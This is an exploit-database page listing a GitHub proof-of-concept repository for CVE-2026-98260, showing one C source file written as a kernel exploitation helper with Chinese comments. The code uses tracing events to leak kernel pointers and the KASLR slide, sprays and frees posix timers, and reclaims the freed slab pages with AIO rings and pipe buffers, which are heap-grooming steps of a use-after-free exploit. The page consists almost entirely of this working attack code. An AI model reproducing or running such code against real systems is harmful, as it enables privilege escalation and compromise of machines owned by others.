Exploit database

GH-300ffa121d06cb7357be8fb011e8d8b3

nanoturtle1145/cve-2026-98260-uaf

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-98260

61 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files45
nanoturtle1145/cve-2026-98260-uafRevision cb03af3ff043

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

tools/reclaim_test2.c

C · 10,821 bytes
// reclaim_test2:最终验证 —— 定时器页释放后,AIO ring 能否抢到这些页
// 用法: reclaim_test2 <N_TIMERS> <FLUSH_ROUNDS>
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <signal.h>
#include <time.h>
#include <sys/syscall.h>
#include <sys/mman.h>

#define TRACE "/sys/kernel/tracing"
/* ★ 关键修正:线性映射基址 = PAGE_OFFSET(0xffffff8000000000) - memstart(0x80000000) */
#define LINEAR_MAP_BASE 0xffffff7f80000000ULL
#define LINK_TIMER      0xffffffc008193940ULL
#define KITIMER_NODE    120
#define KITIMER_SIZE    264
#define MAX_OBJ         20000
#define MAX_PAGES       1024
#define MAX_CPUS        16
#define RINGS_PER_CPU   256
#ifndef F_SETPIPE_SZ
#define F_SETPIPE_SZ 1031
#endif

static void *g_raw;
static unsigned long long g_slide;
static int ncpu;

static int wf(const char *p, const char *t)
{ int fd=open(p,O_WRONLY|O_CLOEXEC); ssize_t n; if(fd<0)return -1; n=write(fd,t,strlen(t)); close(fd); return n==(ssize_t)strlen(t)?0:-1; }
static int rf(const char *p, char *b, int cap)
{ int fd=open(p,O_RDONLY|O_CLOEXEC),n; if(fd<0)return -1; n=(int)read(fd,b,cap-1); close(fd); if(n<0)n=0; b[n]=0; return n; }
static void kick_rss(void)
{
	unsigned char *p=mmap(NULL,4096,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
	wf(TRACE "/events/kmem/rss_stat/enable","1\n");
	if(p!=MAP_FAILED){((volatile unsigned char*)p)[0]=1;munmap(p,4096);}
	wf(TRACE "/events/kmem/rss_stat/enable","0\n");
}
static int arm(const char *ev)
{
	char p[256],c[256];
	snprintf(p,sizeof p,TRACE "/events/%s/enable",ev);
	if(!wf(p,"1\n"))return 0;
	/* 先清除可能残留的 trigger 状态(否则 EEXIST) */
	snprintf(c,sizeof c,"!enable_event:kmem:%s\n",ev);
	wf(TRACE "/events/kmem/rss_stat/trigger",c);
	snprintf(c,sizeof c,"enable_event:kmem:%s\n",ev);
	if(!wf(TRACE "/events/kmem/rss_stat/trigger",c)){kick_rss();return 0;}
	return -1;
}
static void trace_reset(void){ wf(TRACE "/tracing_on","0\n"); wf(TRACE "/trace",""); wf(TRACE "/buffer_size_kb","16384\n"); }
static void slabinfo(const char *tag)
{
	FILE *f=fopen("/proc/slabinfo","r"); char l[512]; if(!f)return;
	while(fgets(l,sizeof l,f)) if(!strncmp(l,"posix_timers_cache",18)){l[strcspn(l,"\n")]=0;printf("[slab %s] %s\n",tag,l);break;}
	fclose(f);
}
static size_t read_all_trace(char *buf, size_t cap)
{
	size_t used=0;
	for(int c=0;c<ncpu;c++){
		char p[128]; int fd;
		snprintf(p,sizeof p,TRACE "/per_cpu/cpu%d/trace",c);
		fd=open(p,O_RDONLY|O_CLOEXEC); if(fd<0)continue;
		for(;;){ssize_t n=read(fd,buf+used,cap-used-1);if(n<=0)break;used+=(size_t)n;if(used+65536>=cap)break;}
		close(fd);
	}
	buf[used]=0; return used;
}
static size_t read_cpu_raw(int cpu, size_t cap)
{
	char p[128]; int fd; size_t used=0;
	snprintf(p,sizeof p,TRACE "/per_cpu/cpu%d/trace_pipe_raw",cpu);
	fd=open(p,O_RDONLY|O_NONBLOCK|O_CLOEXEC); if(fd<0)return 0;
	for(;;){ssize_t n=read(fd,(char*)g_raw+used,cap-used);if(n<=0)break;used+=(size_t)n;if(used+65536>=cap)break;}
	close(fd); return used;
}
static int parse_objects(unsigned long long *objs, int cap)
{
	int n=0;
	for(int c=0;c<ncpu&&n<cap;c++){
		size_t used=read_cpu_raw(c,8UL<<20);
		for(size_t k=16;k+24<=used&&n<cap;k++){
			unsigned long long req,alloc,site,ptr;
			memcpy(&req,(char*)g_raw+k,8);
			if(req!=KITIMER_SIZE)continue;
			memcpy(&alloc,(char*)g_raw+k+8,8);
			if(alloc!=KITIMER_SIZE)continue;
			memcpy(&site,(char*)g_raw+k-16,8);
			memcpy(&ptr,(char*)g_raw+k-8,8);
			if((site>>56)!=0xff||(ptr>>48)!=0xffff||(ptr&7))continue;
			if(!g_slide)g_slide=site-LINK_TIMER;
			if(site!=LINK_TIMER+g_slide)continue;
			objs[n++]=ptr;
		}
	}
	return n;
}
static unsigned long long obj_page_pfn(unsigned long long obj)
{ return ((((obj+KITIMER_NODE)&~0x1fffULL)) - LINEAR_MAP_BASE)>>12; }

static unsigned long long g_pages[MAX_PAGES]; static int g_npages;
static unsigned long long g_freed[MAX_PAGES]; static int g_nfreed;
static char *g_pcp_map; static size_t g_pcp_len;
static int page_in(unsigned long long *arr,int n,unsigned long long v)
{ for(int i=0;i<n;i++) if(arr[i]==v) return 1; return 0; }

int main(int argc, char **argv)
{
	int n_timers = (argc>1)?atoi(argv[1]):16000;
	int flush_rounds = (argc>2)?atoi(argv[2]):2;
	int flush_n = 4000;
	const char *mode = (argc>3)?argv[3]:"both";
	int pipe_only = !strcmp(mode,"pipe");
	unsigned long long *objs;
	timer_t *ids;
	char *txt = malloc(64UL<<20);
	int made=0, nobj=0;
	ncpu = 8;
	{ char b[64]; if(rf("/sys/devices/system/cpu/present",b,sizeof b)>0){int n=0;for(char*p=b;*p;){int v=0;if(*p<'0'||*p>'9'){p++;continue;}while(*p>='0'&&*p<='9')v=v*10+(*p++-'0');if(v+1>n)n=v+1;}ncpu=n<1?8:(n>MAX_CPUS?MAX_CPUS:n);} }
	g_raw = malloc(8UL<<20);
	objs = calloc(MAX_OBJ,sizeof(*objs));
	ids = calloc((size_t)n_timers,sizeof(*ids));
	if(!g_raw||!objs||!ids||!txt){fprintf(stderr,"oom\n");return 1;}
	setvbuf(stdout,NULL,_IOLBF,0);
	printf("[i] cpus=%d n_timers=%d flush_rounds=%d\n",ncpu,n_timers,flush_rounds);
	/* 阶段A */
	trace_reset();
	if(arm("kmem_cache_alloc")){perror("arm");return 2;}
	wf(TRACE "/tracing_on","1\n");
	{ struct sigevent ev; memset(&ev,0,sizeof ev); ev.sigev_notify=SIGEV_NONE;
	  for(int i=0;i<n_timers;i++) if(timer_create(CLOCK_THREAD_CPUTIME_ID,&ev,&ids[i])) break; else made++; }
	wf(TRACE "/tracing_on","0\n");
	nobj = parse_objects(objs, MAX_OBJ);
	printf("[A] made=%d objects=%d slide=%#llx\n", made, nobj, g_slide);
	if(nobj<128){printf("[A] too few\n");return 3;}
	/* 页列表(取最后分配的部分,更接近 exploit 的 victim 时机) */
	{
		int start = nobj>4096 ? nobj-4096 : 0;
		for(int i=start;i<nobj&&g_npages<MAX_PAGES;i++){
			unsigned long long pg=obj_page_pfn(objs[i]);
			if(!page_in(g_pages,g_npages,pg)) g_pages[g_npages++]=pg;
		}
	}
	printf("[A] tracked_pages=%d first=%#llx last=%#llx\n", g_npages, g_pages[0], g_pages[g_npages-1]);
	slabinfo("A-create");
	/* 阶段B:释放(保持同一 trace 会话,不做任何大分配,避免观测者效应) */
	if(arm("mm_page_free")){perror("arm free");return 2;}
	wf(TRACE "/tracing_on","1\n");
	for(int i=0;i<made;i++) timer_delete(ids[i]);
	for(int r=0;r<flush_rounds;r++){
		timer_t *f=calloc(flush_n,sizeof(*f)); int fm=0;
		struct sigevent ev; memset(&ev,0,sizeof ev); ev.sigev_notify=SIGEV_NONE;
		for(int i=0;i<flush_n;i++) if(timer_create(CLOCK_THREAD_CPUTIME_ID,&ev,&f[i])) break; else fm++;
		for(int i=0;i<fm;i++) timer_delete(f[i]);
		free(f);
		usleep(150000);
	}
	usleep(300000);
	wf(TRACE "/tracing_on","0\n");
	slabinfo("B-flush");
	/* 阶段C0:prime PCP —— 先吃掉 PCP 里的 order-0 页,逼后续分配从 buddy split 我们的 order-1 块 */
	wf(TRACE "/tracing_on","1\n");
	{
		size_t plen = (size_t)16384 * 4096;  /* 64MB = 16384 pages */
		char *pm = mmap(NULL, plen, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
		if (pm != MAP_FAILED) {
			madvise(pm, plen, MADV_NOHUGEPAGE);
			for (size_t i = 0; i < plen; i += 4096) pm[i] = 1;
			printf("[C0] pcp_prime_pages=16384\n");
			/* 保持映射(占住这些页),后续载体分配必须用 buddy */
			/* keep mapping */
			g_pcp_map = pm; g_pcp_len = plen;
		} else printf("[C0] pcp prime mmap failed\n");
	}
	wf(TRACE "/tracing_on","0\n");
	/* 阶段C:不重置 trace,立即喷泉(AIO + pipe) */
	(void)arm("mm_page_alloc");
	if(wf(TRACE "/events/filemap/mm_filemap_add_to_page_cache/enable","1\n"))
		(void)wf(TRACE "/events/kmem/rss_stat/trigger","enable_event:filemap:mm_filemap_add_to_page_cache\n");
	wf(TRACE "/tracing_on","1\n");
	{
		int rings=0;
		if (pipe_only) { printf("[C1] aio_rings=0 (pipe-only mode)\n"); goto pipes; }
		for(int c=0;c<ncpu&&rings<2048;c++){
			cpu_set_t st; CPU_ZERO(&st); CPU_SET(c,&st); sched_setaffinity(0,sizeof st,&st);
			for(int i=0;i<RINGS_PER_CPU&&rings<2048;i++){unsigned long ctx=0;if(syscall(SYS_io_setup,1,&ctx))break;rings++;}
		}
		printf("[C1] aio_rings=%d\n",rings);
	}
pipes:
	{
		/* pipe 载体:每个 pipe 写入 4096B(内核页 UNMOVABLE,与 slab 页同 migratetype) */
		static int pipes[256][2]; static unsigned char pg[1<<20]; int np=0, pages=0;
		memset(pg,0x41,sizeof pg);
		int npipe = pipe_only ? 64 : 64;
		for(int i=0;i<npipe;i++){
			if(pipe(pipes[i])) break;
			(void)fcntl(pipes[i][1], F_SETPIPE_SZ, 1<<20);
			ssize_t w=write(pipes[i][1],pg,sizeof pg);
			if(w<=0){close(pipes[i][0]);close(pipes[i][1]);break;}
			np++; pages += (int)((w+4095)/4096);
		}
		printf("[C2] pipe_count=%d pipe_pages=%d\n",np,pages);
	}
	usleep(300000);
	wf(TRACE "/tracing_on","0\n");
	read_all_trace(txt, 64UL<<20);
	{
		int total1=0, alloc_hits=0, filemap_hits=0, pipe_like=0;
		char *p=txt;
		while((p=strstr(p,"mm_page_free:"))){
			char *pf=strstr(p,"pfn=0x"),*od=strstr(p,"order=");
			if(pf&&od&&od>pf){unsigned long long v=strtoull(pf+6,NULL,16);int ord=atoi(od+6);
				if(ord==1){total1++; if(page_in(g_pages,g_npages,v)&&!page_in(g_freed,g_nfreed,v)&&g_nfreed<MAX_PAGES)g_freed[g_nfreed++]=v;}}
			p+=12;
		}
		printf("[B2] order1_frees=%d tracked_freed=%d/%d\n",total1,g_nfreed,g_npages);
		p=txt;
		while((p=strstr(p,"mm_page_alloc:"))){
			char *pf=strstr(p,"pfn=0x");
			if(pf){unsigned long long v=strtoull(pf+6,NULL,16);
				if(page_in(g_freed,g_nfreed,v)||page_in(g_freed,g_nfreed,v-1)||page_in(g_freed,g_nfreed,v+1)){alloc_hits++;
					if(alloc_hits<=5){char*ls=p;while(ls>txt&&ls[-1]!='\n')ls--;printf("  [alloc-hit] %.130s\n",ls);}}}
			p+=14;
		}
		p=txt;
		while((p=strstr(p,"mm_filemap_add_to_page_cache:"))){
			char *pf=strstr(p,"pfn=0x");
			if(pf){unsigned long long v=strtoull(pf+6,NULL,16);
				if(page_in(g_freed,g_nfreed,v)){filemap_hits++;
					if(filemap_hits<=5){char*ls=p;while(ls>txt&&ls[-1]!='\n')ls--;printf("  [filemap-hit] %.130s\n",ls);}}}
			p+=20;
		}
		/* pipe 页 = mm_page_alloc order=0 且不在 filemap(无法直接区分,先报总数) */
		p=txt;
		while((p=strstr(p,"mm_page_alloc:"))){
			if(strstr(p,"order=0"))pipe_like++;
			p+=14;
		}
		/* 细分命中来源:order / comm */
		{
			int o0_self=0,o0_other=0,o1=0,o_hi=0;
			char *q=txt;
			while((q=strstr(q,"mm_page_alloc:"))){
				char *pf=strstr(q,"pfn=0x"); char *od=strstr(q,"order=");
				if(pf&&od){
					unsigned long long v=strtoull(pf+6,NULL,16); int ord=atoi(od+6);
					if(page_in(g_freed,g_nfreed,v)||page_in(g_freed,g_nfreed,v-1)||page_in(g_freed,g_nfreed,v+1)){
						char *ls=q; while(ls>txt&&ls[-1]!='\n')ls--;
						int self = (strstr(ls,"reclaim_test2")!=NULL);
						if(ord==1) o1++; else if(ord==0) { if(self)o0_self++; else o0_other++; } else o_hi++;
					}
				}
				q+=14;
			}
			printf("[C3] result: freed=%d filemap_hits=%d | alloc_hits order0_self=%d order0_other=%d order1=%d higher=%d\n",
			       g_nfreed,filemap_hits,o0_self,o0_other,o1,o_hi);
		}
	}
	slabinfo("C-done");
	return 0;
}